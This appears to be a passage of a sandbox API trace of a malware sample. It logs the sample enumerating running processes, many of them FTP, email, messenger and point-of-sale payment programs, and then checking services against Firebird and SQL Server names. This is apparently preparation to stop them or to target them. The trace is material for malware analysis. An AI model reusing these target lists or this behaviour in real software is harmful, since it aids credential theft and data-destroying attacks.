	[0081.995] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0081.995] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0081.996] lstrlenW (lpString="alftp.exe") returned 9
	[0081.996] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0081.997] lstrlenW (lpString="barca.exe") returned 9
	[0081.997] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0081.997] lstrlenW (lpString="bitkinex.exe") returned 12
	[0081.998] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0082.303] lstrlenW (lpString="coreftp.exe") returned 11
	[0082.304] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0082.304] lstrlenW (lpString="far.exe") returned 7
	[0082.304] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0082.305] lstrlenW (lpString="filezilla.exe") returned 13
	[0082.305] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0082.306] lstrlenW (lpString="flashfxp.exe") returned 12
	[0082.306] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0082.307] lstrlenW (lpString="fling.exe") returned 9
	[0082.307] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0082.308] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0082.308] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0082.309] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0082.309] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0082.310] lstrlenW (lpString="icq.exe") returned 7
	[0082.310] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0082.311] lstrlenW (lpString="leechftp.exe") returned 12
	[0082.311] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0082.312] lstrlenW (lpString="ncftp.exe") returned 9
	[0082.312] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0082.313] lstrlenW (lpString="notepad.exe") returned 11
	[0082.313] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0082.314] lstrlenW (lpString="operamail.exe") returned 13
	[0082.314] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0082.315] lstrlenW (lpString="pidgin.exe") returned 10
	[0082.315] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0082.316] lstrlenW (lpString="scriptftp.exe") returned 13
	[0082.316] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0082.317] lstrlenW (lpString="skype.exe") returned 9
	[0082.317] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0082.317] lstrlenW (lpString="smartftp.exe") returned 12
	[0082.318] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0082.318] lstrlenW (lpString="thunderbird.exe") returned 15
	[0082.318] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0082.319] lstrlenW (lpString="totalcmd.exe") returned 12
	[0082.319] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0082.320] lstrlenW (lpString="trillian.exe") returned 12
	[0082.320] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0082.321] lstrlenW (lpString="webdrive.exe") returned 12
	[0082.321] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0082.322] lstrlenW (lpString="whatsapp.exe") returned 12
	[0082.322] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0082.323] lstrlenW (lpString="winscp.exe") returned 10
	[0082.323] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0082.323] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0082.323] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0082.324] lstrlenW (lpString="active-charge.exe") returned 17
	[0082.324] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0082.325] lstrlenW (lpString="accupos.exe") returned 11
	[0082.325] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0082.326] lstrlenW (lpString="afr38.exe") returned 9
	[0082.326] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0082.327] lstrlenW (lpString="aldelo.exe") returned 10
	[0082.327] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0082.328] lstrlenW (lpString="ccv_server.exe") returned 14
	[0082.328] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0082.328] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0082.329] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0082.329] lstrlenW (lpString="creditservice.exe") returned 17
	[0082.329] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0082.330] lstrlenW (lpString="edcsvr.exe") returned 10
	[0082.330] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0082.331] lstrlenW (lpString="fpos.exe") returned 8
	[0082.331] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0082.332] lstrlenW (lpString="isspos.exe") returned 10
	[0082.332] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0082.332] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0082.332] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0082.333] lstrlenW (lpString="omnipos.exe") returned 11
	[0082.333] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0082.334] lstrlenW (lpString="spcwin.exe") returned 10
	[0082.334] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0082.335] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0082.335] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0082.335] lstrlenW (lpString="utg2.exe") returned 8
	[0082.335] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0082.336] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0082.336] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0082.337] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0082.337] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0082.337] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0082.338] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0082.338] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0082.338] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0082.339] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0082.339] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.340] lstrlenW (lpString="taskhostw.exe") returned 13
	[0082.340] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.340] lstrlenW (lpString="taskhostw.exe") returned 13
	[0082.340] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0082.341] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0082.341] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0082.629] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0082.629] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0082.630] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0082.630] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0082.630] lstrlenW (lpString="UsoClient.exe") returned 13
	[0082.630] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0082.631] lstrlenW (lpString="conhost.exe") returned 11
	[0082.631] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0082.632] lstrlenW (lpString="conhost.exe") returned 11
	[0082.632] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.632] lstrlenW (lpString="svchost.exe") returned 11
	[0082.632] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0082.633] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0082.633] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.633] lstrlenW (lpString="svchost.exe") returned 11
	[0082.634] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0082.634] lstrlenW (lpString="cmd.exe") returned 7
	[0082.634] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0082.635] lstrlenW (lpString="conhost.exe") returned 11
	[0082.635] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0082.635] lstrlenW (lpString="dllhost.exe") returned 11
	[0082.635] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0082.636] lstrlenW (lpString="mode.com") returned 8
	[0082.636] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0082.637] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0082.637] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0
	[0082.637] CloseHandle (hObject=0x394) returned 1
	[0082.637] Sleep (dwMilliseconds=0x1f4) 
	[0083.613] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53edb0
	[0083.614] EnumServicesStatusExW (in: hSCManager=0x53edb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0083.614] GetLastError () returned 0xea
	[0083.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1d6a) returned 0x31936f0
	[0083.615] EnumServicesStatusExW (in: hSCManager=0x53edb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x31936f0, cbBufSize=0x1d6a, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x31936f0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0083.615] CloseServiceHandle (hSCObject=0x53edb0) returned 1
	[0083.616] lstrlenW (lpString="Appinfo") returned 7
	[0083.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0083.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0083.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0083.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0083.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0083.616] lstrlenW (lpString="AppXSvc") returned 7
	[0083.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0083.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0083.616] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0083.616] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0083.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0083.616] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0083.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0083.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0083.616] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0083.616] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
